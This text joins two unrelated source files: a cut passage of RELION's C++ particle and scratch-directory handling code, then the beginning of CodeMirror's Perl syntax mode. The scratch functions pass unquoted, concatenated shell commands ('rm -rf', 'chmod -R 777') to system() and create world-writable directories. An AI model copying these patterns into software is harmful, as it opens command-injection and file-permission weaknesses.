int part_id = 0; part_id < particles.size(); part_id++) { // Get name of micrograph of the first image in this particle long int mic_id = particles[part_id].images[0].micrograph_id; mic_name = micrographs[mic_id].name; if (divide_according_to_helical_tube_id) { long int ori_img_id = getOriginalImageId(part_id, 0); MDimg.getValue(EMDL_PARTICLE_HELICAL_TUBE_ID, helical_tube_id, ori_img_id); if (helical_tube_id < 1) REPORT_ERROR("ERROR Experiment::divideParticlesInRandomHalves: Helical tube ID should be positive integer!"); mic_name += std::string("_TUBEID_"); mic_name += std::string(integerToString(helical_tube_id)); } particles[part_id].random_subset = map_mics[mic_name]; } } else { for (long int part_id = 0; part_id < particles.size(); part_id++) { int random_subset = rand() % 2 + 1; particles[part_id].random_subset = random_subset; // randomly 1 or 2 } } // Now that random subsets have been assigned, count the number of particles in each subset and set new labels in entire MDimg for (long int part_id = 0; part_id < particles.size(); part_id++) { int random_subset = getRandomSubset(part_id); if (random_subset == 1) nr_particles_subset1++; else if (random_subset == 2) nr_particles_subset2++; else REPORT_ERROR("ERROR Experiment::divideParticlesInRandomHalves: invalid number for random subset (i.e. not 1 or 2): " + integerToString(random_subset)); for (int img_id = 0; img_id < numberOfImagesInParticle(part_id); img_id++) { long int ori_img_id = getOriginalImageId(part_id, img_id); MDimg.setValue(EMDL_PARTICLE_RANDOM_SUBSET, random_subset, ori_img_id); } } } if (nr_particles_subset2 == 0 || nr_particles_subset1 == 0) REPORT_ERROR("ERROR: one of your half sets has no segments. Is rlnRandomSubset set to 1 or 2 in your particles STAR file? Or in case you're doing helical, half-sets are always per-filament, so provide at least 2 filaments."); std::stable_sort(sorted_idx.begin(), sorted_idx.end(), compareRandomSubsetParticles(particles)); } void Experiment::randomiseParticlesOrder(int seed, bool do_split_random_halves, bool do_subsets) { //This static flag is for only randomize once static bool randomised = false; if (!randomised || do_subsets) { srand(seed); if (do_split_random_halves) { std::stable_sort(sorted_idx.begin(), sorted_idx.end(), compareRandomSubsetParticles(particles)); // sanity check long int nr_half1 = 0, nr_half2 = 0; for (long int i = 0; i < particles.size(); i++) { const int random_subset = particles[i].random_subset; if (random_subset == 1) nr_half1++; else if (random_subset == 2) nr_half2++; else REPORT_ERROR("ERROR Experiment::randomiseParticlesOrder: invalid number for random subset (i.e. not 1 or 2): " + integerToString(random_subset)); } if (nr_half1 != nr_particles_subset1) REPORT_ERROR("ERROR Experiment::randomiseParticlesOrder: invalid half1 size:" + integerToString(nr_half1) + " != " + integerToString(nr_particles_subset1)); if (nr_half2 != nr_particles_subset2) REPORT_ERROR("ERROR Experiment::randomiseParticlesOrder: invalid half2 size:" + integerToString(nr_half2) + " != " + integerToString(nr_particles_subset2)); // Randomise the two particle lists std::random_shuffle(sorted_idx.begin(), sorted_idx.begin() + nr_half1); std::random_shuffle(sorted_idx.begin() + nr_half1, sorted_idx.end()); // Make sure the particles are sorted on their optics_group. // Otherwise CudaFFT re-calculation of plans every time image size changes slows down things a lot! std::stable_sort(sorted_idx.begin(), sorted_idx.begin() + nr_half1, compareOpticsGroupsParticles(particles)); std::stable_sort(sorted_idx.begin() + nr_half1, sorted_idx.end(), compareOpticsGroupsParticles(particles)); } else { // Just randomise the entire vector std::random_shuffle(sorted_idx.begin(), sorted_idx.end()); // Make sure the particles are sorted on their optics_group. // Otherwise CudaFFT re-calculation of plans every time image size changes slows down things a lot! std::stable_sort(sorted_idx.begin(), sorted_idx.end(), compareOpticsGroupsParticles(particles)); } randomised = true; } } void Experiment::initialiseBodies(int _nr_bodies) { if (_nr_bodies < 2) { return; } else { nr_bodies = _nr_bodies; MetaDataTable MDbody; MDbody.setIsList(false); bool is_3d = (MDimg.containsLabel(EMDL_ORIENT_ORIGIN_Z)); FOR_ALL_OBJECTS_IN_METADATA_TABLE(MDimg) { MDbody.addObject(); RFLOAT norm, zero=0., ninety=90.; MDimg.getValue(EMDL_IMAGE_NORM_CORRECTION, norm); MDbody.setValue(EMDL_ORIENT_ORIGIN_X_ANGSTROM, zero); MDbody.setValue(EMDL_ORIENT_ORIGIN_Y_ANGSTROM, zero); MDbody.setValue(EMDL_ORIENT_ROT, zero); MDbody.setValue(EMDL_ORIENT_TILT, ninety); MDbody.setValue(EMDL_ORIENT_PSI, zero); MDbody.setValue(EMDL_IMAGE_NORM_CORRECTION, norm); if (is_3d) { MDbody.setValue(EMDL_ORIENT_ORIGIN_Z_ANGSTROM, zero); } } // Now just fill all bodies with that MDbody MDbodies.resize(nr_bodies, MDbody); for (int ibody = 0; ibody < nr_bodies; ibody++) { std::string tablename = "images_body_" + integerToString(ibody+1); MDbodies[ibody].setName(tablename); } } } bool Experiment::getImageNameOnScratch(long int part_id, int img_id, FileName &fn_img, bool is_ctf_image) { int optics_group = getOpticsGroup(part_id, img_id); long int my_id = particles[part_id].images[img_id].optics_group_id; #ifdef DEBUG_SCRATCH std::cerr << "part_id = " << part_id << " img_id = " << img_id << " my_id = " << my_id << " nr_parts_on_scratch[" << optics_group << "] = " << nr_parts_on_scratch[optics_group] << std::endl; #endif if (fn_scratch != "" && my_id < nr_parts_on_scratch[optics_group]) { if (is_3D) { if (is_ctf_image) fn_img = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particle_ctf" + integerToString(my_id+1)+".mrc"; else fn_img = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particle" + integerToString(my_id+1)+".mrc"; } else { // Write different optics groups into different stacks, as sizes might be different FileName fn_tmp = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particles.mrcs"; fn_img.compose(my_id+1, fn_tmp); } #ifdef DEBUG_SCRATCH std::cerr << "getImageNameOnScratch: " << particles[part_id].name << " is cached at " << fn_img << std::endl; #endif return true; } else { return false; } } void Experiment::setScratchDirectory(FileName _fn_scratch, bool do_reuse_scratch, int verb) { // Make sure fn_scratch ends with a slash if (_fn_scratch[_fn_scratch.length()-1] != '/') _fn_scratch += '/'; fn_scratch = _fn_scratch + "relion_volatile/"; if (do_reuse_scratch) { nr_parts_on_scratch.resize(numberOfOpticsGroups(), 0); for (int optics_group = 0; optics_group < numberOfOpticsGroups(); optics_group++) { if (is_3D) { FileName fn_tmp = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particle*.mrc"; std::vector<FileName> fn_all; fn_tmp.globFiles(fn_all, true); nr_parts_on_scratch[optics_group] = fn_all.size(); } else { FileName fn_tmp = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particles.mrcs"; if (exists(fn_tmp)) { Image<RFLOAT> Itmp; Itmp.read(fn_tmp, false); nr_parts_on_scratch[optics_group] = NSIZE(Itmp()); } #ifdef DEBUG_SCRATCH if (verb > 0) std::cerr << " optics_group= " << (optics_group + 1) << " nr_parts_on_scratch[optics_group]= " << nr_parts_on_scratch[optics_group] << std::endl; #endif } } } } FileName Experiment::initialiseScratchLock(FileName _fn_scratch, FileName _fn_out) { // Get a unique lockname for this run int uniqnr = rand() % 100000; FileName fn_uniq = _fn_out; fn_uniq.replaceAllSubstrings("/", "_"); fn_uniq += "_lock" + integerToString(uniqnr); FileName fn_lock = fn_scratch + fn_uniq; if (exists(fn_lock)) remove(fn_lock.c_str()); return fn_lock; } bool Experiment::prepareScratchDirectory(FileName _fn_scratch, FileName fn_lock) { if (fn_lock != "" && exists(fn_lock)) { // Still measure how much free space there is struct statvfs vfs; statvfs(_fn_scratch.c_str(), &vfs); char nodename[64] = "undefined"; gethostname(nodename,sizeof(nodename)); std::string myhost(nodename); free_space_Gb = (RFLOAT)vfs.f_bsize * vfs.f_bfree / (1024 * 1024 * 1024); return false; } else { // Wipe the directory clean and make a new one std::string command; deleteDataOnScratch(); // Make the scratch directory with write permissions command = "install -d -m 0777 " + fn_scratch; if (system(command.c_str())) REPORT_ERROR("ERROR: cannot execute: " + command); // Touch the lock file if(fn_lock != "") { touch(fn_lock); command = "chmod 0777 " + fn_lock; if (system(command.c_str())) REPORT_ERROR("ERROR: cannot execute: " + command); } // Measure how much free space there is struct statvfs vfs; statvfs(_fn_scratch.c_str(), &vfs); char nodename[64] = "undefined"; gethostname(nodename,sizeof(nodename)); std::string myhost(nodename); free_space_Gb = (RFLOAT)vfs.f_bsize * vfs.f_bfree / (1024 * 1024 * 1024); std::cout << " + On host " << myhost << ": free scratch space = " << free_space_Gb << " Gb." << std::endl; return true; } } void Experiment::deleteDataOnScratch() { // Wipe the scratch directory if (fn_scratch != "" && exists(fn_scratch)) { std::string command = " rm -rf " + fn_scratch; if (system(command.c_str())) REPORT_ERROR("ERROR: cannot execute: " + command); } } void Experiment::copyParticlesToScratch(int verb, bool do_copy, bool also_do_ctf_image, RFLOAT keep_free_scratch_Gb) { // This function relies on prepareScratchDirectory() being called before! long int nr_part = MDimg.numberOfObjects(); int barstep; if (verb > 0 && do_copy) { std::cout << " Copying particles to scratch directory: " << fn_scratch << std::endl; init_progress_bar(nr_part); barstep = XMIPP_MAX(1, nr_part / 60); } long int one_part_space, used_space = 0.; long int max_space = (free_space_Gb - keep_free_scratch_Gb) * 1024 * 1024 * 1024; // in bytes #ifdef DEBUG_SCRATCH std::cerr << " free_space_Gb = " << free_space_Gb << " GB, keep_free_scratch_Gb = " << keep_free_scratch_Gb << " GB.\n"; std::cerr << " Max space RELION can use = " << max_space << " bytes" << std::endl; #endif // Loop over all particles and copy them one-by-one FileName fn_open_stack = ""; fImageHandler hFile; long int total_nr_parts_on_scratch = 0; nr_parts_on_scratch.resize(numberOfOpticsGroups(), 0); const int check_abort_frequency=100; FileName prev_img_name = "/Unlikely$filename$?*!"; int prev_optics_group = -999; FOR_ALL_OBJECTS_IN_METADATA_TABLE(MDimg) { // TODO: think about MPI_Abort here.... if (current_object % check_abort_frequency == 0 && pipeline_control_check_abort_job()) exit(RELION_EXIT_ABORTED); long int imgno; FileName fn_img, fn_ctf, fn_stack, fn_new; Image<RFLOAT> img; MDimg.getValue(EMDL_IMAGE_NAME, fn_img); int optics_group = 0; if (MDimg.getValue(EMDL_IMAGE_OPTICS_GROUP, optics_group)) { optics_group--; } // Get the size of the first particle if (nr_parts_on_scratch[optics_group] == 0) { Image<RFLOAT> tmp; tmp.read(fn_img, false); // false means: only read the header! one_part_space = ZYXSIZE(tmp())*sizeof(float); // MRC images are stored in floats! bool myis3D = (ZSIZE(tmp()) > 1); if (myis3D != is_3D) REPORT_ERROR("BUG: inconsistent is_3D values!"); // add MRC header size for subtomograms, which are stored as 1 MRC file each if (is_3D) { one_part_space += 1024; also_do_ctf_image = MDimg.containsLabel(EMDL_CTF_IMAGE); if (also_do_ctf_image) one_part_space *= 2; } #ifdef DEBUG_SCRATCH std::cerr << "one_part_space[" << optics_group << "] = " << one_part_space << std::endl; #endif } bool is_duplicate = (prev_img_name == fn_img && prev_optics_group == optics_group); // Read in the particle image, and write out on scratch if (do_copy && !is_duplicate) { #ifdef DEBUG_SCRATCH std::cerr << "used_space = " << used_space << std::endl; #endif // Now we have the particle in memory // See how much space it occupies used_space += one_part_space; // If there is no more space, exit the loop over all objects to stop copying files and change filenames in MDimg if (used_space > max_space) { char nodename[64] = "undefined"; gethostname(nodename,sizeof(nodename)); std::string myhost(nodename); std::cerr << " Warning: scratch space full on " << myhost << ". Remaining " << nr_part - total_nr_parts_on_scratch << " particles will be read from where they were."<< std::endl; break; } if (is_3D) { // For subtomograms, write individual .mrc files,possibly also CTF images img.read(fn_img); fn_new = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particle" + integerToString(nr_parts_on_scratch[optics_group]+1)+".mrc"; img.write(fn_new); if (also_do_ctf_image) { FileName fn_ctf; MDimg.getValue(EMDL_CTF_IMAGE, fn_ctf); img.read(fn_ctf); fn_new = fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particle_ctf" + integerToString(nr_parts_on_scratch[optics_group]+1)+".mrc"; img.write(fn_new); } } else { // Only open/close new stacks, so check if this is a new stack fn_img.decompose(imgno, fn_stack); if (fn_stack != fn_open_stack) { // Manual closing isn't necessary: if still open, then openFile will first close the filehandler // Also closing the last one isn't necessary, as destructor will do this. //if (fn_open_stack != "") // hFile.closeFile(); hFile.openFile(fn_stack, WRITE_READONLY); fn_open_stack = fn_stack; } img.readFromOpenFile(fn_img, hFile, -1, false); fn_new.compose(nr_parts_on_scratch[optics_group]+1, fn_scratch + "opticsgroup" + integerToString(optics_group+1) + "_particles.mrcs"); if (nr_parts_on_scratch[optics_group] == 0) img.write(fn_new, -1, false, WRITE_OVERWRITE); else img.write(fn_new, -1, true, WRITE_APPEND); #ifdef DEBUG_SCRATCH std::cerr << "Cached " << fn_img << " to " << fn_new << std::endl; #endif } } // Update the counter and progress bar if (!is_duplicate) nr_parts_on_scratch[optics_group]++; total_nr_parts_on_scratch++; prev_img_name = fn_img; prev_optics_group = optics_group; if (verb > 0 && total_nr_parts_on_scratch % barstep == 0) progress_bar(total_nr_parts_on_scratch); } if (verb) { progress_bar(nr_part); for (int i = 0; i < nr_parts_on_scratch.size(); i++) { std::cout << " For optics_group " << (i + 1) << ", there are " << nr_parts_on_scratch[i] << " particles on the scratch disk." << std::endl; } } if (do_copy && total_nr_parts_on_scratch>1) { std::string command = " chmod -R 777 " + fn_scratch + "/"; if (system(command.c_str())) REPORT_ERROR("ERROR in executing: " + command); } } // Read from file void Experiment::read(FileName fn_exp, bool do_ignore_particle_name, bool do_ignore_group_name, bool do_preread_images, bool need_tiltpsipriors_for_helical_refine, int verb) { //#define DEBUG_READ #ifdef DEBUG_READ std::cerr << "Entering Experiment::read" << std::endl; Timer timer; int tall = timer.setNew("ALL"); int tread = timer.setNew("read"); int tsort = timer.setNew("sort"); int tfill = timer.setNew("fill"); int tgroup = timer.setNew("find group"); int tdef = timer.setNew("set defaults"); int tend = timer.setNew("ending"); char c; timer.tic(tall); timer.tic(tread); #endif // Only open stacks once and then read multiple images fImageHandler hFile; long int dump; FileName fn_stack, fn_open_stack=""; // Initialize by emptying everything clear(); long int group_id = 0, mic_id = 0, part_id = 0; if (!fn_exp.isStarFile()) { // Read images from stack. Ignore all metadata, just use filenames // Add a single Micrograph group_id = addGroup("group", 0); mic_id = addMicrograph("micrograph"); // Check that a MRC stack ends in .mrcs, not .mrc (which will be read as a MRC 3D map!) if (fn_exp.contains(".mrc") && !fn_exp.contains(".mrcs")) REPORT_ERROR("Experiment::read: ERROR: MRC stacks of 2D images should be have extension .mrcs, not .mrc!"); // Read in header-only information to get the NSIZE of the stack Image<RFLOAT> img; img.read(fn_exp, false); // false means skip data, only read header // allocate 1 block of memory particles.reserve(NSIZE(img())); nr_images_per_optics_group.resize(1, 0); for (long int n = 0; n < NSIZE(img()); n++) { FileName fn_img; fn_img.compose(n+1, fn_exp); // fn_img = integerToString(n) + "@" + fn_exp; // Add the particle to my_area = 0 part_id = addParticle(fn_img, 0); // Just add a single image per particle addImageToParticle(part_id, fn_img, n, 0, 0, 0, true); MDimg.addObject(); if (do_preread_images) { Image<float> img; fn_img.decompose(dump, fn_stack); if (fn_stack != fn_open_stack) { hFile.openFile(fn_stack, WRITE_READONLY); fn_open_stack = fn_stack; } img.readFromOpenFile(fn_img, hFile, -1, false); img().setXmippOrigin(); particles[part_id].images[0].img = img(); } // Set the filename and other metadata parameters MDimg.setValue(EMDL_IMAGE_NAME, fn_img, part_id); MDimg.setValue(EMDL_IMAGE_OPTICS_GROUP, 1, part_id); } } else { // MDimg and MDopt have to be read at the same time, so that the optics groups can be // renamed in case they are non-contiguous or not sorted ObservationModel::loadSafely(fn_exp, obsModel, MDimg, "particles", verb); nr_images_per_optics_group.resize(obsModel.numberOfOpticsGroups(), 0); #ifdef DEBUG_READ std::cerr << "Done reading MDimg" << std::endl; timer.toc(tread); timer.tic(tsort); //std::cerr << "Press any key to continue..." << std::endl; //std::cin >> c; #endif // Sort input particles on micrographname bool is_mic_a_movie=false, star_contains_micname; star_contains_micname = MDimg.containsLabel(EMDL_MICROGRAPH_NAME); if (star_contains_micname) { // See if the micrograph names contain an "@", i.e. whether they are movies and we are inside polishing or so. FileName fn_mic; MDimg.getValue(EMDL_MICROGRAPH_NAME, fn_mic); if (fn_mic.contains("@")) { is_mic_a_movie = true; MDimg.newSort(EMDL_MICROGRAPH_NAME, false, true); // sort on part AFTER "@" } else { is_mic_a_movie = false; MDimg.newSort(EMDL_MICROGRAPH_NAME); // just sort on fn_mic } if (do_ignore_group_name) group_id = addGroup("group", 0); } else { // If there is no EMDL_MICROGRAPH_NAME, then just use a single group and micrograph group_id = addGroup("group", 0); mic_id = addMicrograph("micrograph"); } #ifdef DEBUG_READ std::cerr << "Done sorting MDimg" << std::endl; std::cerr << " MDimg.numberOfObjects()= " << MDimg.numberOfObjects() << std::endl; timer.toc(tsort); timer.tic(tfill); long nr_read = 0; #endif // allocate 1 block of memory particles.reserve(MDimg.numberOfObjects()); // Now Loop over all objects in the metadata file and fill the logical tree of the experiment long int last_part_id = -1; FileName prev_img_name = "/Unlikely$filename$?*!"; int prev_optics_group = -999; //FOR_ALL_OBJECTS_IN_METADATA_TABLE(MDimg) for (long int ori_img_id = 0; ori_img_id < MDimg.numberOfObjects(); ori_img_id++) { // Get the optics group of this particle int optics_group = obsModel.getOpticsGroup(MDimg, ori_img_id); // Add new micrographs or get mic_id for existing micrograph FileName mic_name=""; // Filename instead of string because will decompose below if (star_contains_micname) { long int idx = micrographs.size(); std::string last_mic_name = (idx > 0) ? micrographs[idx-1].name : ""; MDimg.getValue(EMDL_MICROGRAPH_NAME, mic_name, ori_img_id); // All frames of a movie belong to the same micrograph if (is_mic_a_movie) mic_name = mic_name.substr(mic_name.find("@")+1); mic_id = -1; if (last_mic_name == mic_name) { // This particle belongs to the previous micrograph mic_id = micrographs[idx - 1].id; } else { // A new micrograph last_part_id = particles.size(); } // Make a new micrograph if (mic_id < 0) mic_id = addMicrograph(mic_name); #ifdef DEBUG_READ timer.tic(tgroup); #endif // For example in particle_polishing the groups are not needed... if (!do_ignore_group_name) { std::string group_name; // Check whether there is a group label, if not use a group for each micrograph if (MDimg.containsLabel(EMDL_MLMODEL_GROUP_NAME)) { MDimg.getValue(EMDL_MLMODEL_GROUP_NAME, group_name, ori_img_id); } else { FileName fn_pre, fn_jobnr, fn_post; decomposePipelineFileName(mic_name, fn_pre, fn_jobnr, fn_post); group_name = fn_post; } // If this group did not exist yet, add it to the experiment group_id = -1; for (long int i = groups.size() - 1; i >= 0; i--) // search backwards to find match faster { if (groups[i].name == group_name) { group_id = groups[i].id; break; } } if (group_id < 0) { group_id = addGroup(group_name, optics_group); } } #ifdef DEBUG_READ timer.toc(tgroup); #endif } else { // All images belong to the same micrograph and group mic_id = 0; group_id = 0; } // If there is an EMDL_PARTICLE_RANDOM_SUBSET entry in the input STAR-file, then set the random_subset, otherwise use default (0) int my_random_subset; if (!MDimg.getValue(EMDL_PARTICLE_RANDOM_SUBSET, my_random_subset, ori_img_id)) { my_random_subset = 0; } // Add this image to an existing particle, or create a new particle std::string part_name; long int part_id = -1; if (MDimg.containsLabel(EMDL_PARTICLE_NAME)) MDimg.getValue(EMDL_PARTICLE_NAME, part_name, ori_img_id); else MDimg.getValue(EMDL_IMAGE_NAME, part_name, ori_img_id); if (MDimg.containsLabel(EMDL_PARTICLE_NAME) && !do_ignore_particle_name) { // Only search ori_particles for the last (original) micrograph for (long int i = last_part_id; i < particles.size(); i++) { if (particles[i].name == part_name) { part_id = i; break; } } } // If no particles with this name was found, // or if no EMDL_PARTICLE_NAME in the input file, or if do_ignore_original_particle_name // then add a new particle if (part_id < 0) { part_id = addParticle(part_name, my_random_subset); } // Create a new image in this particle FileName img_name; MDimg.getValue(EMDL_IMAGE_NAME, img_name, ori_img_id); bool do_cache = (prev_img_name != img_name || prev_optics_group != optics_group); #ifdef DEBUG_SCRATCH std::cerr << "prev_img_name = " << prev_img_name << " img_name = " << img_name << " prev_optics_group = " << prev_optics_group << " optics_group = " << optics_group << " do_cache = " << do_cache << std::endl; #endif prev_img_name = img_name; prev_optics_group = optics_group; int img_id = addImageToParticle(part_id, img_name, ori_img_id, group_id, mic_id, optics_group, do_cache); // The group number is only set upon reading: it is not read from the STAR file itself, // there the only thing that matters is the order of the micrograph_names // Write igroup+1, to start numbering at one instead of at zero MDimg.setValue(EMDL_MLMODEL_GROUP_NO, group_id + 1, ori_img_id); #ifdef DEBUG_READ timer.tic(tori); #endif if (do_preread_images) { Image<float> img; img_name.decompose(dump, fn_stack); if (fn_stack != fn_open_stack) { hFile.openFile(fn_stack, WRITE_READONLY); fn_open_stack = fn_stack; } img.readFromOpenFile(img_name, hFile, -1, false); img().setXmippOrigin(); particles[part_id].images[img_id].img = img(); } #ifdef DEBUG_READ timer.toc(tori); #endif #ifdef DEBUG_READ nr_read++; #endif } // end loop over all objects in MDimg (ori_part_id) #ifdef DEBUG_READ timer.toc(tfill); timer.tic(tdef); std::cerr << " nr_read= " << nr_read << " particles.size()= " << particles.size() << " micrographs.size()= " << micrographs.size() << " groups.size()= " << groups.size() << std::endl; #endif // Check for the presence of multiple bodies (for multi-body refinement) bool is_done = false; nr_bodies = 0; while (!is_done) { std::string tablename = "images_body_" + integerToString(nr_bodies+1); MetaDataTable MDimgin; if (MDimgin.read(fn_exp, tablename) > 0) { nr_bodies++; MDbodies.push_back(MDimgin); } else { is_done = true; } } // Even if we don't do multi-body refinement, then nr_bodies is still 1 nr_bodies = XMIPP_MAX(nr_bodies, 1); } #ifdef DEBUG_READ std::cerr << "Done filling MDimg" << std::endl; //std::cerr << "Press any key to continue..." << std::endl; //std::cin >> c; #endif // Make sure some things are always set in the MDimg bool have_rot = MDimg.containsLabel(EMDL_ORIENT_ROT); bool have_tilt = MDimg.containsLabel(EMDL_ORIENT_TILT); bool have_psi = MDimg.containsLabel(EMDL_ORIENT_PSI); bool have_xoff = MDimg.containsLabel(EMDL_ORIENT_ORIGIN_X_ANGSTROM); bool have_yoff = MDimg.containsLabel(EMDL_ORIENT_ORIGIN_Y_ANGSTROM); bool have_zoff = MDimg.containsLabel(EMDL_ORIENT_ORIGIN_Z_ANGSTROM); bool have_zcoord = MDimg.containsLabel(EMDL_IMAGE_COORD_Z); bool have_clas = MDimg.containsLabel(EMDL_PARTICLE_CLASS); bool have_norm = MDimg.containsLabel(EMDL_IMAGE_NORM_CORRECTION); // Jan20,2016 - Helical reconstruction bool have_tilt_prior = MDimg.containsLabel(EMDL_ORIENT_TILT_PRIOR); bool have_psi_prior = MDimg.containsLabel(EMDL_ORIENT_PSI_PRIOR); bool have_tiltpsi = (have_tilt) && (have_psi); bool have_tiltpsi_prior = (have_tilt_prior) && (have_psi_prior); if (need_tiltpsipriors_for_helical_refine) { if (!have_tiltpsi_prior) { if (!have_tiltpsi) REPORT_ERROR("exp_model.cpp: Experiment::read(): Tilt and psi priors of helical segments are missing!"); } } FOR_ALL_OBJECTS_IN_METADATA_TABLE(MDimg) { RFLOAT dzero=0., done=1.; int izero = 0; if (!have_rot) MDimg.setValue(EMDL_ORIENT_ROT, dzero); if (!have_tilt) MDimg.setValue(EMDL_ORIENT_TILT, dzero); if (!have_psi) MDimg.setValue(EMDL_ORIENT_PSI, dzero); if (!have_xoff) MDimg.setValue(EMDL_ORIENT_ORIGIN_X_ANGSTROM, dzero); if (!have_yoff) MDimg.setValue(EMDL_ORIENT_ORIGIN_Y_ANGSTROM, dzero); if ( (!have_zoff) && (have_zcoord) ) MDimg.setValue(EMDL_ORIENT_ORIGIN_Z_ANGSTROM, dzero); if (!have_clas) MDimg.setValue(EMDL_PARTICLE_CLASS, izero); if (!have_norm) MDimg.setValue(EMDL_IMAGE_NORM_CORRECTION, done); if (need_tiltpsipriors_for_helical_refine && have_tiltpsi_prior) // If doing 3D helical reconstruction and PRIORs exist { RFLOAT tilt = 0., psi = 0.; if (have_tiltpsi) MDimg.getValue(EMDL_ORIENT_TILT, tilt); // If ANGLEs do not exist or they are all set to 0 (from a Class2D job), copy values of PRIORs to ANGLEs if ( (!have_tiltpsi) || ((have_tiltpsi) && (ABS(tilt) < 0.001)) ) { MDimg.getValue(EMDL_ORIENT_TILT_PRIOR, tilt); MDimg.getValue(EMDL_ORIENT_PSI_PRIOR, psi); MDimg.setValue(EMDL_ORIENT_TILT, tilt); MDimg.setValue(EMDL_ORIENT_PSI, psi); } } } // Set is_3D from MDopt int mydim; obsModel.opticsMdt.getValue(EMDL_IMAGE_DIMENSIONALITY, mydim, 0); is_3D = (mydim == 3); #ifdef DEBUG_READ timer.toc(tdef); std::cerr << "Done setting defaults MDimg" << std::endl; timer.toc(tall); timer.printTimes(false); //std::cerr << "Writing out debug_data.star" << std::endl; //write("debug"); //exit(0); #endif } // Write to file void Experiment::write(FileName fn_root) { std::ofstream fh; FileName fn_tmp = fn_root+"_data.star"; fh.open((fn_tmp).c_str(), std::ios::out); if (!fh) REPORT_ERROR( (std::string)"Experiment::write: Cannot write file: " + fn_tmp); obsModel.opticsMdt.setName("optics"); obsModel.opticsMdt.write(fh); // Always write MDimg MDimg.setName("particles"); MDimg.write(fh); if (nr_bodies > 1) { for (int ibody = 0; ibody < nr_bodies; ibody++) { MDbodies[ibody].write(fh); } } fh.close(); }
{ "pile_set_name": "Github" }
// CodeMirror2 mode/perl/perl.js (text/x-perl) beta 0.10 (2011-11-08) // This is a part of CodeMirror from https://github.com/sabaca/CodeMirror_mode_perl (mail@sabaca.com) CodeMirror.defineMode("perl",function(config,parserConfig){ // http://perldoc.perl.org var PERL={ // null - magic touch // 1 - keyword // 2 - def // 3 - atom // 4 - operator // 5 - variable-2 (predefined) // [x,y] - x=1,2,3; y=must be defined if x{...} // PERL operators '->' : 4, '++' : 4, '--' : 4, '**' : 4, // ! ~ \ and unary + and - '=~' : 4, '!~' : 4, '*' : 4, '/' : 4, '%' : 4, 'x' : 4, '+' : 4, '-' : 4, '.' : 4, '<<' : 4, '>>' : 4, // named unary operators '<' : 4, '>' : 4, '<=' : 4, '>=' : 4, 'lt' : 4, 'gt' : 4, 'le' : 4, 'ge' : 4, '==' : 4, '!=' : 4, '<=>' : 4, 'eq' : 4, 'ne' : 4, 'cmp' : 4, '~~' : 4, '&' : 4, '|' : 4, '^' : 4, '&&' : 4, '||' : 4, '//' : 4, '..' : 4, '...' : 4, '?' : 4, ':' : 4, '=' : 4, '+=' : 4, '-=' : 4, '*=' : 4, // etc. ??? ',' : 4, '=>' : 4, '::' : 4, // list operators (rightward) 'not' : 4, 'and' : 4, 'or' : 4, 'xor' : 4, // PERL predefined variables (I know, what this is a paranoid idea, but may be needed for people, who learn PERL, and for me as well, ...and may be for you?;) 'BEGIN' : [5,1], 'END' : [5,1], 'PRINT' : [5,1], 'PRINTF' : [5,1], 'GETC' : [5,1], 'READ' : [5,1], 'READLINE' : [5,1], 'DESTROY' : [5,1], 'TIE' : [5,1], 'TIEHANDLE' : [5,1], 'UNTIE' : [5,1], 'STDIN' : 5, 'STDIN_TOP' : 5, 'STDOUT' : 5, 'STDOUT_TOP' : 5, 'STDERR' : 5, 'STDERR_TOP' : 5, '$ARG' : 5, '$_' : 5, '@ARG' : 5, '@_' : 5, '$LIST_SEPARATOR' : 5, '$"' : 5, '$PROCESS_ID' : 5, '$PID' : 5, '$$' : 5, '$REAL_GROUP_ID' : 5, '$GID' : 5, '$(' : 5, '$EFFECTIVE_GROUP_ID' : 5, '$EGID' : 5, '$)' : 5, '$PROGRAM_NAME' : 5, '$0' : 5, '$SUBSCRIPT_SEPARATOR' : 5, '$SUBSEP' : 5, '$;' : 5, '$REAL_USER_ID' : 5, '$UID' : 5, '$<' : 5, '$EFFECTIVE_USER_ID' : 5, '$EUID' : 5, '$>' : 5, '$a' : 5, '$b' : 5, '$COMPILING' : 5, '$^C' : 5, '$DEBUGGING' : 5, '$^D' : 5, '${^ENCODING}' : 5, '$ENV' : 5, '%ENV' : 5, '$SYSTEM_FD_MAX' : 5, '$^F' : 5, '@F' : 5, '${^GLOBAL_PHASE}' : 5, '$^H' : 5, '%^H' : 5, '@INC' : 5, '%INC' : 5, '$INPLACE_EDIT' : 5, '$^I' : 5, '$^M' : 5, '$OSNAME' : 5, '$^O' : 5, '${^OPEN}' : 5, '$PERLDB' : 5, '$^P' : 5, '$SIG' : 5, '%SIG' : 5, '$BASETIME' : 5, '$^T' : 5, '${^TAINT}' : 5, '${^UNICODE}' : 5, '${^UTF8CACHE}' : 5, '${^UTF8LOCALE}' : 5, '$PERL_VERSION' : 5, '$^V' : 5, '${^WIN32_SLOPPY_STAT}' : 5, '$EXECUTABLE_NAME' : 5, '$^X' : 5, '$1' : 5, // - regexp $1, $2... '$MATCH' : 5, '$&' : 5, '${^MATCH}' : 5, '$PREMATCH' : 5, '$`' : 5, '${^PREMATCH}' : 5, '$POSTMATCH' : 5, "$'" : 5, '${^POSTMATCH}' : 5, '$LAST_PAREN_MATCH' : 5, '$+' : 5, '$LAST_SUBMATCH_RESULT' : 5, '$^N' : 5, '@LAST_MATCH_END' : 5, '@+' : 5, '%LAST_PAREN_MATCH' : 5, '%+' : 5, '@LAST_MATCH_START' : 5, '@-' : 5, '%LAST_MATCH_START' : 5, '%-' : 5, '$LAST_REGEXP_CODE_RESULT' : 5, '$^R' : 5, '${^RE_DEBUG_FLAGS}' : 5, '${^RE_TRIE_MAXBUF}' : 5, '$ARGV' : 5, '@ARGV' : 5, 'ARGV' : 5, 'ARGVOUT' : 5, '$OUTPUT_FIELD_SEPARATOR' : 5, '$OFS' : 5, '$,' : 5, '$INPUT_LINE_NUMBER' : 5, '$NR' : 5, '$.' : 5, '$INPUT_RECORD_SEPARATOR' : 5, '$RS' : 5, '$/' : 5, '$OUTPUT_RECORD_SEPARATOR' : 5, '$ORS' : 5, '$\\' : 5, '$OUTPUT_AUTOFLUSH' : 5, '$|' : 5, '$ACCUMULATOR' : 5, '$^A' : 5, 